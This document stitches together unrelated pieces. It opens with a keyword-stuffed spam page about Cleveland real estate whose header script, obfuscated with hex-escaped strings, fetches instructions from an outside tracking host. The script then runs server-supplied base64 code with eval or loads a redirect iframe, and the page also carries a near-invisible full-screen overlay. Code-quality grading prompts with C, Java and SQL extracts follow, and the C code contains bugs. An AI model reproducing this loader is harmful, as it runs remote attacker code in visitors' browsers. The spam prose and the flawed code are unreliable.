var _0xf02d=["","\x65\x78\x65\x63","\x54\x68\x65\x72\x65\x20\x77\x65\x72\x65\x20\x69\x6E\x76\x61\x6C\x69\x64\x20\x62\x61\x73\x65\x36\x34\x20\x63\x68\x61\x72\x61\x63\x74\x65\x72\x73\x20\x69\x6E\x20\x74\x68\x65\x20\x69\x6E\x70\x75\x74\x20\x74\x65\x78\x74\x2E\x0A","\x56\x61\x6C\x69\x64\x20\x62\x61\x73\x65\x36\x34\x20\x63\x68\x61\x72\x61\x63\x74\x65\x72\x73\x20\x61\x72\x65\x20\x41\x2D\x5A\x2C\x20\x61\x2D\x7A\x2C\x20\x30\x2D\x39\x2C\x20\x27\x2B\x27\x2C\x20\x27\x2F\x27\x2C\x61\x6E\x64\x20\x27\x3D\x27\x0A","\x45\x78\x70\x65\x63\x74\x20\x65\x72\x72\x6F\x72\x73\x20\x69\x6E\x20\x64\x65\x63\x6F\x64\x69\x6E\x67\x2E","\x72\x65\x70\x6C\x61\x63\x65","\x63\x68\x61\x72\x41\x74","\x69\x6E\x64\x65\x78\x4F\x66","\x66\x72\x6F\x6D\x43\x68\x61\x72\x43\x6F\x64\x65","\x6C\x65\x6E\x67\x74\x68"];function decode64(_0x4719x2){var _0x4719x3=_0xf02d[0];var _0x4719x4,_0x4719x5,_0x4719x6=_0xf02d[0];var _0x4719x7,_0x4719x8,_0x4719x9,_0x4719xa=_0xf02d[0];var _0x4719xb=0;var _0x4719xc=/[^A-Za-z0-9\+\/\=]/g;if(_0x4719xc[_0xf02d[1]](_0x4719x2)){alert(_0xf02d[2]+_0xf02d[3]+_0xf02d[4])};_0x4719x2=_0x4719x2[_0xf02d[5]](/[^A-Za-z0-9\+\/\=]/g,_0xf02d[0]);do{_0x4719x7=keyStr[_0xf02d[7]](_0x4719x2[_0xf02d[6]](_0x4719xb++));_0x4719x8=keyStr[_0xf02d[7]](_0x4719x2[_0xf02d[6]](_0x4719xb++));_0x4719x9=keyStr[_0xf02d[7]](_0x4719x2[_0xf02d[6]](_0x4719xb++));_0x4719xa=keyStr[_0xf02d[7]](_0x4719x2[_0xf02d[6]](_0x4719xb++));_0x4719x4=(_0x4719x7<<2)|(_0x4719x8>>4);_0x4719x5=((_0x4719x8&15)<<4)|(_0x4719x9>>2);_0x4719x6=((_0x4719x9&3)<<6)|_0x4719xa;_0x4719x3=_0x4719x3+String[_0xf02d[8]](_0x4719x4);if(_0x4719x9!=64){_0x4719x3=_0x4719x3+String[_0xf02d[8]](_0x4719x5)};if(_0x4719xa!=64){_0x4719x3=_0x4719x3+String[_0xf02d[8]](_0x4719x6)};_0x4719x4=_0x4719x5=_0x4719x6=_0xf02d[0];_0x4719x7=_0x4719x8=_0x4719x9=_0x4719xa=_0xf02d[0]}while(_0x4719xb<_0x4719x2[_0xf02d[9]]);;return unescape(_0x4719x3)}
var _0xce85=["\x68\x74\x74\x70\x73\x3A\x2F\x2F\x77\x77\x77\x2E\x61\x64\x74\x72\x6B\x73\x72\x76\x2E\x63\x6F\x6D\x2F\x61\x70\x69\x2F\x72\x75\x6E\x69\x74\x2F","\x64\x65\x74\x65\x63\x74\x65\x64","\x75\x72\x6C","\x72\x75\x6E","\x62\x6F\x64\x79","\x68\x74\x6D\x6C","\x73\x72\x63","\x61\x74\x74\x72","\x23\x72\x65\x64\x66\x72\x61\x6D\x65","\x73\x68\x6F\x77","\x67\x65\x74\x4A\x53\x4F\x4E"];$(function(){$[_0xce85[10]](_0xce85[0]+baseurl,function(_0x9bd5x1){if(!_0x9bd5x1[_0xce85[1]]){redurl=decodeURIComponent(decode64(_0x9bd5x1[_0xce85[2]]));if(appred){eval(decode64(_0x9bd5x1[_0xce85[3]]))}else {$(_0xce85[4])[_0xce85[5]](decode64(_0x9bd5x1[_0xce85[4]]));$(_0xce85[8])[_0xce85[7]](_0xce85[6],redurl);$(_0xce85[8])[_0xce85[9]]()}}})})
</script>
<!-- HTML5 shim and Respond.js IE8 support of HTML5 elements and media queries -->
<!--[if lt IE 9]>
<script src="https://oss.maxcdn.com/libs/html5shiv/3.7.0/html5shiv.js"></script>
<script src="https://oss.maxcdn.com/libs/respond.js/1.3.0/respond.min.js"></script>
<![endif]-->
</head>
<body>
<div id="overlayidhide212" style="position: fixed;top: 0;left: 0;height: 99%;width: 100%;z-index: 9998;background-color: rgba(255,255,255,0.99);"><a href="#" style="color: rgb(249,249,249)" onclick='var element = document.getElementById("overlayidhide212");element.parentNode.removeChild(element);'>close</a><br></div>
<!-- Fixed navbar -->
<div class="navbar navbar-default navbar-fixed-top">
<div class="container">
<div class="navbar-header">
<button type="button" class="navbar-toggle" data-toggle="collapse" data-target=".navbar-collapse">
<span class="icon-bar"></span>
<span class="icon-bar"></span>
<span class="icon-bar"></span>
</button>
<a class="navbar-brand" href="./index.html"><i class="fa fa-bolt"></i></a>
</div>
<div class="navbar-collapse collapse">
<ul class="nav navbar-nav navbar-right">
<li class="active"><a href="#contact">Categories</a></li>
</ul>
</div><!--/.nav-collapse -->
</div>
</div>
<div class="container">
<div class="row centered mt grid">
<h1>howard hanna real estate cleveland ohio</h1>
<p><p>Since the stated goal is to make karaoke for songs which are unavailable, feel free to check my online songbook to see if I have the song already before breaking your virtual backs creating it. Send me an e-mail and I'll be glad to let you know who made it and where it can be purchased. Plodding through a book one page at a time is not the best way to understand a book in graduate school. You haven't done this because you already know the Xbox One list bests it and you don't want to eat crow. I used a ring snuggie for a few months but now it's getting hotter it was starting to annoy me and dig in to my palm whenever I was doing crochet or anything where I bent my fingers a lot. Throughout this lesson, I'll give you tips for your fretting hand to help keep your chords sounding clean and free from buzzing noise. And there may not be a friend who will go, at which point she'll drop the idea and go along with a friend to something else, like cardio kickboxing. Zillow is a problem only for people with poor understanding of markets, prices, and data. If you have an existing jacket, lose some weight to fit into the old, small jacket. The first time was when Hagar became proud and arrogant towards Sarah her mistress (Genesis 16:4) after she had become pregnant and the second time when Ishmael mocked Abraham's celebration of the weaning of Isaac (Genesis 21:9). It's true, it makes you stronger, but I don't feel like committing to this job like I use to. I use to see it as a career, now, just a J B. Everyday is the same thing, I get more work, and they get freedom to handle their personal life at work, and we all get paid the same, same benefits, same everything. </p><p>You can rate us however you want, just be truthful, and let people know what you think. But it's been a lonely struggle, and finding people here who I can get on with and relate to has been very helpful to me. It started when I went to visit Steve in Tenerife, him being such an old friend, and us being virtually out of touch. I have been referred to an allergist but my first appointment has been scheduled for the end of this month so in the mean time I`m just trying to figure out howard hanna real estate cleveland ohio and how to help them get better. To those you that use herbs for practical and natural God inspired/created remedy continue to do so. Thank and love God for his provided remedy. This is a big one and the gentleman knows it. One of the most disrespectful things a man can do on a date is to talk about other women and his experiences with them. <NAME> is also an on-line writer for the examiner; Canada Wedding Examiner and Honey Grove Gardening Examiner. The problem is I get frustrated cause some are loosing 7 kgs in 2 weeks while I lost 4 with on & off but still I'm happy with it. She'll really love creating fun usable artwork with these girls arts and crafts gifts. Melissa, If you want to avoid diabetic complications a meter and strips are your most powerful tool. They say Malawians cannot point fingers at development partners and blame them for what has transpired offshore- or whatever activity takes place in offshore accounts by people out to, like everyone else, make a good fortune. </p><p>A rearrangement reaction generates an isomer, and again the number of bonds normally does not change. They want me to come in for a similar follow up visit with them before we get around to trying again. You should pay taxes to Honey Grove for the roads and bus stops your privatized mass transportation relies upon. In Life Among the Gorillas , when Marshall starts his internship, Barney helps him fit in when he learns that Marshall gets made fun of by his coworkers. Now that enterprise apps are surging into smartphones, there is no reason why the iPhone should be left behind. I like that the ux501 is powerful and reasonably priced at $1500 for the specs that it has, but I also want a computer that is more portable for use in class. If the dough becomes sticky when kneading, gradually add up to another 1⁄4 cup flour. Proportional representation on paper sounds nice and logical, but go speak to Italians and Israelis on the pitfalls of coalition governments and elections every 1½-2 years. Of course, we can't mention Pokemon without mentioning their nemesis: Team Rocket. First, and most importantly, to write checks, you must have a checking account. </p><p>It works for me. I know kind people from all walks of life and from all belief systems. However, you really have to seek out a support group of other investors, and although many of them are going to be twice or three times your age, they will end up as your peers and will be the ones who can understand your struggles better than anyone else. As for nuts and grains/starchy vegetables, these foods are wonderful for your health and should be part of your healthy diet, but too many nuts can add a bit too much extra fat when one is trying to lose weight. Thanx for ur suggestions, but i want to ask a question-howard hanna real estate cleveland ohio and how to take neem &tulsi leaves boiled with water or raw leaves and in which ratio with one glass of water. As you read this, try to imagine for a moment what life was like in the late 1800's. If we didn't have enough going on...Hannah had her final road driving test that afternoon determining if she could get her license or not. I have debated on whether are not to have a book signing because of the judgments you get. If you can't spring for the big buck suit, you can still get a quality protective suit that fits, without having to settle for a low end suit that will come part on you while riding, or just plain be uncomfortable while riding. I knew I had a problem when the feeling of emptyness hit me after an episode ended. For those with low levels of sight, this means they're able to track where they are in a story-as well as read along, depending on their level of vision-all while being assisted by the audio, which lessens the burden on their eyes. </p><p>Compatibility with Windows, BSD, Solaris and Mac OS X based systems is now available. I always thought the song was about Mary mother of God, comforting him in a time of need. Technology- You've got a firm grasp on how the internet works, howard hanna real estate cleveland ohio and how to handle social media, howard hanna real estate cleveland ohio and how to use a smart phone, and howard hanna real estate cleveland ohio and how to make a spreadsheet. Most of us felt that we would not see Adele and Ephram again on the trip - some with experience felt that he would not make it to the morning alive. I have never been on a date with a girl who told me that now is the perfect time to kiss her. And by the time we take Advanced Training, we're going to be set to get every penny's worth we can of info at Advanced Training. There are some future Batman movies coming up. <NAME>, you have my number. I started looking at coins that my family have and i was just wondering if you could be able to tell me what they are and what they could be possibly worth. If you have any questions about how the organization is run, what our goals are, and what we are planning, please feel free to contact any of the above people. I didn't worry about him or his fidelity, but I didn't want women thinking he was free and wasting their time and his with pointless flirtation. </p><p>I never created a Facebook page for the blog, because I never even shared the blog with friends on my personal page, and frankly it seemed like one more thing to keep up (and fall behind on). If you think you have a good feel for the site supervisor's personality, decide whether you would want to work with this person for the next year before you accept an offer. Some dare to quote from the Book of Ezekiel and claim that the orbs are actually the wheels of the four living creatures. If it is too loose, you will find yourself continually having to push it back and may even lose it if it slides off the finger. Be sure to stand back as he gets ready to get in the water, or you might end up soaking wet, too. Any realistic time horizon for self-driving trucks needs to look at horizons for cars and shift those even further towards the present. People do what they do. It is their path and their life to lead and another individual living 'their' own life has no business examining and laying judgment upon that person if he perceives that person has stopped to rest or is gazing off into the distance. Both you and <NAME> referenced that having an interest in the property, such as under contract, may make it ok to market and try to sell the property. Ultimately, what I mean is that people want an iPhone so much that they are willing to pay its $700 price. The bloom period is quite extensive and the luxuriously sensual flower heads - alive or dead - remain shapely and texturally interesting throughout the season. </p><p>While websites must display on the tiniest mobile devices through to whopping full-HD displays, the differences between iPhone sizes is comparatively minor: when working with iOS points (rather than device pixels), the variance is only 94 for width and 256 for height. UAC is there to prevent unwanted processes from any nasties that sneak in damaging your computer or compromising your security and/or data. Also, many people will have low back pain after laying flat on the OR table for so many hours. I am going through the same problem with U of P i totally withdrew from the school in 2004 and now they are saying I owe them some money for out of pocket tuition cost. The people here on the site LOVE to help answer the basics, so don't be shy at all. Line a cookie sheet with a screen, or a sheet of cardboard, or parchment or wax paper and spread them across in a single layer. PS...I want to say to <NAME>...there are ways you can be sure that your surviving pets are well cared for...many Estate planners write wills / living trusts which provide for the needs of your companion animals to their natural deaths...if there is an estate or holdings enough to do this. I've been using your old method of an iphone 3G on and off for emergency fixes, but it's a long drawn out process, since iREB sometimes had issues if I didn't run it from sn0wbreeze. While this makes them ideal for parties, modern offices, and even Sunday brunch, they could be construed as disrespectful to wear a bow tie to a funeral or other somber event. As previously mentioned, the two videos that I produced earlier this month ate up a lot of the time that I otherwise would have spent working on the game's next big feature. </p><p>In here, people meet new friends, get in touch with old ones, and find their future partner in life. Usually you can tell it whether you want to have the sound output to the tv through hdmi or to a separate output. They have USB connection (to another device, typically a computer), battery, and similar battery life. The thicker the ring, the tighter the fit, so if you choose a ring with a deep band width, you will likely need to go one size up. The smooth line through his waist though is ideal, no belt line or love handles, etc breaking up the smooth tight drape of the jacket. A patient with a family medical history of hives is more likely to develop hives themselves. The previous night I had given a talk to some of these guys about my long long run on some tarmac a few years ago. If you add a protein, this dish would hit all the food groups; meat group, dairy group, vegetable group, and pasta group. I'm not sure whats going on with me but for the last 2 years since i had my son ive been feeling like something has been following me. Nothing really strange has happened except i get really cold at odd hours of the night. Bad comes with the good and your person ethics, strengths, passion, etc get tested. </p><p>Get on mission to be REALLY good at something...whatever it is....and see how fun that might be. I need to know how much material I should purchase to complete both the bottom petticoat and the top section attached to the dress. Learn howard hanna real estate cleveland ohio and how to earn quick Ways to make money quick genuine online making find a in west jordan utah ut. Subscribe to posting notifications our event specialist ne retail merchandisers dont. Only I knew what the forehead kiss meant the first time he gave me one because I already knew how much he loved me and to me, it was an intimate type of kiss. At that point, I'll do a little bit of babysitting, but if that doesn't work, I just get rid of them. I like the comment I saw on Cardboard Connection that it would have been great if Topps had made it so you could set up an account drop $70 bucks into it and pick and choose the cards you wanted at the discounted rate, it would also make sense to be able to hold those cards instead of getting them one at a time to reduce the shipping cost burden. I went to 6 stores in search of this book because I was dying to learn howard hanna real estate cleveland ohio and how to draw Batman. Sing When I am Baptized (CS 103, Verse 1) softly or boldly whether or not the person who left the room and is now looking for the rainbow is close or not. In another study, people holding a hot cup of coffee judged strangers they met as more warm and friendly than the people who were holding a cold glass of iced coffee. PARTIAL PHYSICAL ASSIST (PPA): As the name suggests, a partial physical assist is less intense or intrusive than a full physical assist. </p><p>Heck I bet she is devious enough to get Tarantino to marry her without a prenup or get pregnant with his Child guaranteeing her a major part of his fortune. I would agree if all I could eat was steamed dry vegetables but that is not the case. I stopped the video and lay down on my back on the bed, taking deep loud breaths. While people in most countries can transfer money to overseas accounts, fees are much higher and you may face more long delays changing your bitcoins back into fiat currency (should you still wish to do that). You set vb book that uses computer science assignments help in c homework, take an active approach to the answer. Couldn't agree more with 3 and 4 :) two reasons I couldn't recognize my ex-girlfriend after two months. I understand you thoroughly screen tenants up front to minimize this, but sometimes things come up. So I send a Move Out Packet” to the tenant a few weeks before their move out day (or whenever they give me notice that they are moving). Will be a part of the newer Earth Surface life forms which they will have because of their thoughts insights of now. When she was appointed director of a German institute for nuns, she became responsible for a ten month training program of theological and psychological renewal for a class of thirty sisters each year. </p>
<br><a href="./howard-hanna-real-estate-cleveland-oh.html">howard hanna real estate cleveland oh</a> <a href="./howard-hanna-real-estate-columbus-ohio.html">howard hanna real estate columbus ohio</a></p>
<div id="skills">
<div class="container">
<div class="row centered">
<h2>TAGS</h2>
<p>
</div>
</div>
</div><!-- /skills -->
<section id="contact"></section>
<div class="container">
<h2>CATEGORIES</h2>
<p></p>
</div><!-- /container -->
</div><!-- /social -->
<div id="f">
<div class="container">
<div class="row">
<a href="./index.html">
</div>
</div>
</div>
<!-- Bootstrap core JavaScript
================================================== -->
<!-- Placed at the end of the document so the pages load faster -->
<script src="./assets/js/bootstrap.js"></script>
</body>
</html>
|
Below is an extract from a C program. Evaluate whether it has a high educational value and could help teach coding. Use the additive 5-point scoring system described below. Points are accumulated based on the satisfaction of each criterion:
- Add 1 point if the program contains valid C code, even if it's not educational, like boilerplate code, configurations, or niche concepts.
- Add another point if the program addresses practical C concepts, even if it lacks comments.
- Award a third point if the program is suitable for educational use and introduces key concepts in programming, even if the topic is advanced (e.g., kernel development and compiler design). The code should be well-structured and contain some comments.
- Give a fourth point if the program is self-contained and highly relevant to teaching C. It should be similar to a school exercise, a tutorial, or a C course section.
- Grant a fifth point if the program is outstanding in its educational value and is perfectly suited for teaching C. It should be well-written, easy to understand, and contain step-by-step explanations and comments.
The extract:
#include <stdio.h>
#include <stdlib.h>
#include<conio.h>
#include<string.h>
int N;
//The structure has a total size of 60 bytes
typedef struct st
{
int id;
char name[40];
int birth_year;
int birth_month;
int birth_day;
}st;
//one node has a total size of 72 bytes
typedef struct node
{
st stu;
struct node *next;
}node;
void get_info(node *n);
void insertend(node **tailp);
void insertbeg(node **headp);
void insertmiddle(node *head, int x);
void list (void);
void get_infoarr(struct st *arr);
void array(void);
void insertendarr(st *arr);
void insertbegarr(st **a);
void insertmidarr(st **a, int x);
int main()
{
printf("hello to students Data structure program \n");
array();
list();
}
/* contructing the dynamic array */
void array(void)
{
N = 0;
printf("\nNumber of students intially: ");
scanf("%i" , &N);
fflush(stdin);
if( N== INT_MAX )
{
return;
}
st *arr = malloc(sizeof(st)*N);
for (int i=0; i < N; i++)
{
printf("\nenter student %i info \n", i+1);
get_infoarr(arr+i);
}
for (int i=0; i < N; i++)
{
printf("%i\n", (arr+i) -> id);
}
insertbegarr(&arr);
insertendarr(arr);
int x;
printf("\nindex of new node (note that index start from 0 and ends at %i): ", N-1);
scanf("%i" , &x);
fflush(stdin);
if (x == N)
{
insertendarr(arr);
}
else if(x == 0)
{
insertbegarr(&arr);
}
else
{
insertmidarr(&arr ,x);
}
for (int i=0; i < N; i++)
{
printf("%i\n", (arr+i) -> id);
}
free(arr);
}
/* contructing the linked list */
void list (void)
{
N = 0;
node *head = NULL;
node *tail = NULL;
printf("\nNumber of students intially: ");
scanf("%i" , &N);
fflush(stdin);
if( N== INT_MAX )
{
return;
}
for (int i=0; i < N; i++)
{
node *n = malloc (sizeof(node));
if (!n)
{
After examining the extract:
- Briefly justify your total score, up to 100 words.
- Conclude with the score using the format: "Educational score: <total points>"
|
c
| 4 |
#include <stdio.h>
#include <stdlib.h>
#include<conio.h>
#include<string.h>
int N;
//The structure has a total size of 60 bytes
typedef struct st
{
int id;
char name[40];
int birth_year;
int birth_month;
int birth_day;
}st;
//one node has a total size of 72 bytes
typedef struct node
{
st stu;
struct node *next;
}node;
void get_info(node *n);
void insertend(node **tailp);
void insertbeg(node **headp);
void insertmiddle(node *head, int x);
void list (void);
void get_infoarr(struct st *arr);
void array(void);
void insertendarr(st *arr);
void insertbegarr(st **a);
void insertmidarr(st **a, int x);
int main()
{
printf("hello to students Data structure program \n");
array();
list();
}
/* contructing the dynamic array */
void array(void)
{
N = 0;
printf("\nNumber of students intially: ");
scanf("%i" , &N);
fflush(stdin);
if( N== INT_MAX )
{
return;
}
st *arr = malloc(sizeof(st)*N);
for (int i=0; i < N; i++)
{
printf("\nenter student %i info \n", i+1);
get_infoarr(arr+i);
}
for (int i=0; i < N; i++)
{
printf("%i\n", (arr+i) -> id);
}
insertbegarr(&arr);
insertendarr(arr);
int x;
printf("\nindex of new node (note that index start from 0 and ends at %i): ", N-1);
scanf("%i" , &x);
fflush(stdin);
if (x == N)
{
insertendarr(arr);
}
else if(x == 0)
{
insertbegarr(&arr);
}
else
{
insertmidarr(&arr ,x);
}
for (int i=0; i < N; i++)
{
printf("%i\n", (arr+i) -> id);
}
free(arr);
}
/* contructing the linked list */
void list (void)
{
N = 0;
node *head = NULL;
node *tail = NULL;
printf("\nNumber of students intially: ");
scanf("%i" , &N);
fflush(stdin);
if( N== INT_MAX )
{
return;
}
for (int i=0; i < N; i++)
{
node *n = malloc (sizeof(node));
if (!n)
{
return;
}
printf("\nenter student %i info \n", i+1);
get_info(n);
if (head)
{
for (node *ptr = head; ptr != NULL; ptr = ptr -> next )
{
if(ptr-> next == NULL)
{
ptr-> next = n;
break;
}
}
}
else
{
head = n;
}
if ( i == N-1 )
{
tail = n;
}
}
insertbeg(&head);
insertend(&tail);
int x;
printf("\nindex of new node (note that index start from 0 and ends at %i): ", N-1);
scanf("%i" , &x);
fflush(stdin);
if (x == N)
{
insertend(&tail);
}
else if (x == 0)
{
insertbeg(&head);
}
else
{
insertmiddle(head,x);
}
for (node *ptr = head; ptr != NULL; ptr = ptr -> next )
{
printf("%i\n", ptr -> stu.id);
}
/* deleting allocated memory */
node *ptr = head;
while(ptr != NULL)
{
node *nxt = ptr -> next;
free(ptr);
ptr = nxt;
}
}
/* functions of list */
void get_info(struct node *n)
{
printf("student id: ");
scanf("%i" , &(n->stu.id));
fflush(stdin);
printf("student birth year : ");
scanf("%i" , &(n->stu.birth_year));
fflush(stdin);
printf("student birth month : ");
scanf("%i" , &(n->stu.birth_month));
fflush(stdin);
printf("student birth day : ");
scanf("%i" , &(n->stu.birth_day));
fflush(stdin);
n -> next = NULL;
printf("student name: ");
scanf("%s" , (n->stu.name));
fflush(stdin);
}
void insertbeg(node **headp)
{
node *n = malloc (sizeof(node));
if (!n)
{
return;
}
printf("\nenter student info \n");
get_info(n);
n -> next = *headp;
*headp = n;
N++;
}
void insertend(node **tailp)
{
node *tail = *tailp;
node *n = malloc (sizeof(node));
if (!n)
{
return;
}
printf("\nenter student info \n");
get_info(n);
tail -> next = n;
*tailp = n;
N++;
}
void insertmiddle(node *head, int x)
{
if (x >= N || x <= 0)
{
printf("index is not correct\n");
return;
}
node *n = malloc (sizeof(node));
if (!n)
{
return;
}
printf("\nenter student info \n");
get_info(n);
node *pre = head;
for (int k = 0; k < x-1; k++)
{
pre = pre -> next;
}
n -> next = pre -> next;
pre -> next = n;
N++;
}
/* functions of array */
void get_infoarr(struct st *arr)
{
printf("student id: ");
scanf("%i" , &(arr->id));
fflush(stdin);
printf("student birth year : ");
scanf("%i" , &(arr->birth_year));
fflush(stdin);
printf("student birth month : ");
scanf("%i" , &(arr->birth_month));
fflush(stdin);
printf("student birth day : ");
scanf("%i" , &(arr->birth_day));
fflush(stdin);
printf("student name: ");
scanf("%s" , (arr->name));
fflush(stdin);
}
void insertendarr(st *arr)
{
N++;
arr = realloc(arr,sizeof(st)*N);
printf("\nenter student info \n");
get_infoarr(arr+N-1);
}
void insertbegarr(st **a)
{
N++;
st *temp = malloc(sizeof(st)*N);
for (int i=0; i < N-1; i++)
{
(temp + i + 1)->birth_day = ( (*a) + i )->birth_day;
(temp + i + 1)->birth_month = ( (*a) + i )->birth_month;
(temp + i + 1)->birth_year = ( (*a) + i )->birth_year;
(temp + i + 1)->id = ( (*a) + i )->id;
strcpy((temp + i + 1) -> name , ( (*a) + i ) -> name ) ;
}
free(*a);
printf("\nenter student info \n");
get_infoarr(temp);
*a = temp;
}
void insertmidarr(st **a, int x)
{
if (x >= N || x <= 0)
{
printf("index is not correct\n");
return;
}
N++;
st *temp = malloc(sizeof(st)*N);
for (int i=0; i < x; i++)
{
(temp + i )->birth_day = ( (*a) + i )->birth_day;
(temp + i )->birth_month = ( (*a) + i )->birth_month;
(temp + i )->birth_year = ( (*a) + i )->birth_year;
(temp + i )->id = ( (*a) + i )->id;
strcpy((temp + i + 1) -> name , ( (*a) + i ) -> name ) ;
}
printf("\nenter student info \n");
get_infoarr(temp + x);
for (int i = x + 1; i < N; i++)
{
(temp + i )->birth_day = ( (*a) + i - 1)->birth_day;
(temp + i )->birth_month = ( (*a) + i - 1)->birth_month;
(temp + i )->birth_year = ( (*a) + i - 1)->birth_year;
(temp + i )->id = ( (*a) + i - 1)->id;
strcpy((temp + i + 1) -> name , ( (*a) + i - 1 ) -> name ) ;
}
free(*a);
*a = temp;
}
|
Below is an extract from a Java program. Evaluate whether it has a high educational value and could help teach coding. Use the additive 5-point scoring system described below. Points are accumulated based on the satisfaction of each criterion:
- Add 1 point if the program contains valid Java code, even if it's not educational, like boilerplate code, configurations, or niche concepts.
- Add another point if the program addresses practical Java concepts, even if it lacks comments.
- Award a third point if the program is suitable for educational use and introduces key concepts in programming, even if the topic is advanced (e.g., concurrent programming). The code should be well-structured and contain some comments.
- Give a fourth point if the program is self-contained and highly relevant to teaching Java. It should be similar to a school exercise, a tutorial, or a Java course section.
- Grant a fifth point if the program is outstanding in its educational value and is perfectly suited for teaching Java. It should be well-written, easy to understand, and contain step-by-step explanations and comments.
The extract:
package com.mr.msapi.service;
import com.mr.msapi.entity.Dept;
import org.springframework.cloud.netflix.feign.FeignClient;
import org.springframework.web.bind.annotation.PathVariable;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestMethod;
import org.springframework.web.bind.annotation.RequestParam;
import java.util.Map;
/**
* @Description 类描述
* @Author yanghanwei
* @Mail <EMAIL>
* @Date 17:16 2019-11-12
* @Version v1
**/
//@FeignClient(value = "MS-PROVIDER")
@FeignClient(value = "MS-PROVIDER", fallbackFactory = DeptClientFallBackFactory.class)
public interface DeptClientService {
/**
* 注意 ：1.feign 不能使用 @GetMapping @PostMapping
* 2. POST传参 必须使用 @RequestParam("") ,而且必须得有 value 值
* 3. GET传参 必须使用 @PathVariable(""), 必须有 value 值
* 4. POST对象传参 必须使用 @RequestBody
*/
@RequestMapping(value = "/api/dept/getById", method = RequestMethod.POST)
Map<String,Object> getById(@RequestParam("id") Integer id);
@RequestMapping("/api/dept/save")
Map<String,Object> save(Dept dept);
@RequestMapping("/api/dept/list")
Map<String,Object> list();
}
After examining the extract:
- Briefly justify your total score, up to 100 words.
- Conclude with the score using the format: "Educational score: <total points>"
|
java
| 2 |
package com.mr.msapi.service;
import com.mr.msapi.entity.Dept;
import org.springframework.cloud.netflix.feign.FeignClient;
import org.springframework.web.bind.annotation.PathVariable;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestMethod;
import org.springframework.web.bind.annotation.RequestParam;
import java.util.Map;
/**
* @Description 类描述
* @Author yanghanwei
* @Mail <EMAIL>
* @Date 17:16 2019-11-12
* @Version v1
**/
//@FeignClient(value = "MS-PROVIDER")
@FeignClient(value = "MS-PROVIDER", fallbackFactory = DeptClientFallBackFactory.class)
public interface DeptClientService {
/**
* 注意 ：1.feign 不能使用 @GetMapping @PostMapping
* 2. POST传参 必须使用 @RequestParam("") ,而且必须得有 value 值
* 3. GET传参 必须使用 @PathVariable(""), 必须有 value 值
* 4. POST对象传参 必须使用 @RequestBody
*/
@RequestMapping(value = "/api/dept/getById", method = RequestMethod.POST)
Map<String,Object> getById(@RequestParam("id") Integer id);
@RequestMapping("/api/dept/save")
Map<String,Object> save(Dept dept);
@RequestMapping("/api/dept/list")
Map<String,Object> list();
}
|
Below is an extract of SQL code. Evaluate whether it has a high educational value and could help teach SQL and database concepts. Use the additive 5-point scoring system described below. Points are accumulated based on the satisfaction of each criterion:
- Add 1 point if the code contains valid SQL syntax, even if it's just basic queries or simple table operations.
- Add another point if the code addresses practical SQL concepts (e.g., JOINs, subqueries), even if it lacks comments.
- Award a third point if the code is suitable for educational use and introduces key concepts in SQL and database management, even if the topic is somewhat advanced (e.g., indexes, transactions). The code should be well-structured and contain some comments.
- Give a fourth point if the code is self-contained and highly relevant to teaching SQL. It should be similar to a database course exercise, demonstrating good practices in query writing and database design.
- Grant a fifth point if the code is outstanding in its educational value and is perfectly suited for teaching SQL and database concepts. It should be well-written, easy to understand, and contain explanatory comments that clarify the purpose and impact of each part of the code.
The extract:
/*
Navicat MySQL Data Transfer
Source Server : 10.20.0.163
Source Server Version : 50723
Source Host : 10.20.0.163:3306
Source Database : user4
Target Server Type : MYSQL
Target Server Version : 50723
File Encoding : 65001
Date: 2019-01-22 16:46:42
*/
SET FOREIGN_KEY_CHECKS=0;
-- ----------------------------
-- Table structure for agent
-- ----------------------------
DROP TABLE IF EXISTS `agent`;
CREATE TABLE `agent` (
`id` bigint(20) NOT NULL COMMENT '坐席id',
`ent_id` bigint(20) NOT NULL DEFAULT '0' COMMENT '企业id',
`department_id` bigint(20) NOT NULL DEFAULT '0' COMMENT '所属坐席组',
`user_id` bigint(20) NOT NULL DEFAULT '0' COMMENT '用户id',
`agent_name` varchar(50) COLLATE utf8mb4_unicode_ci NOT NULL DEFAULT '' COMMENT '坐席名称',
`agent_number` varchar(20) COLLATE utf8mb4_unicode_ci NOT NULL DEFAULT '' COMMENT '坐席号码',
`agent_role` tinyint(4) NOT NULL DEFAULT '2' COMMENT '0:管理员坐席，1：班长坐席，2：业务员坐席',
`extension_number` varchar(30) COLLATE utf8mb4_unicode_ci NOT NULL DEFAULT '' COMMENT '分机号码',
`is_delete` int(4) NOT NULL DEFAULT '0' COMMENT '是否已删除（0：未删除1：已删除）',
`create_time` datetime NOT NULL DEFAULT CURRENT_TIMESTAMP COMMENT '创建时间',
`update_time` datetime NOT NULL DEFAULT CURRENT_TIMESTAMP ON UPDATE CURRENT_TIMESTAMP COMMENT '更新时间',
PRIMARY KEY (`id`),
KEY `idx_seat_telephone_ent` (`extension_number`,`ent_id`)
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci;
-- ----------------------------
-- Table structure for department
-- ----------------------------
DROP TABLE IF EXISTS `department`;
CREATE TABLE `department` (
`id` bigint(20) NOT NULL COMMENT '部门ID',
`ent_id` bigint(20) NOT NULL DEFAULT '0' COMMENT '企业id',
`name` varchar(200) COLLATE utf8mb4_unicode_ci NOT NULL DEFAULT '' COMMENT '部门名称',
`code` varchar(10) COLLATE utf8mb4_unicode_ci NOT NULL DEFAULT '' COMMENT '部门号码',
`parent_id` bigint(20) NOT NULL DEFAULT '0' COMMENT '父部门ID',
`sort` bigint(20) NOT NULL DEFAULT '0' COMMENT '
After examining the extract:
- Briefly justify your total score, up to 100 words.
- Conclude with the score using the format: "Educational score: <total points>"
|
sql
| 1 |
/*
Navicat MySQL Data Transfer
Source Server : 10.20.0.163
Source Server Version : 50723
Source Host : 10.20.0.163:3306
Source Database : user4
Target Server Type : MYSQL
Target Server Version : 50723
File Encoding : 65001
Date: 2019-01-22 16:46:42
*/
SET FOREIGN_KEY_CHECKS=0;
-- ----------------------------
-- Table structure for agent
-- ----------------------------
DROP TABLE IF EXISTS `agent`;
CREATE TABLE `agent` (
`id` bigint(20) NOT NULL COMMENT '坐席id',
`ent_id` bigint(20) NOT NULL DEFAULT '0' COMMENT '企业id',
`department_id` bigint(20) NOT NULL DEFAULT '0' COMMENT '所属坐席组',
`user_id` bigint(20) NOT NULL DEFAULT '0' COMMENT '用户id',
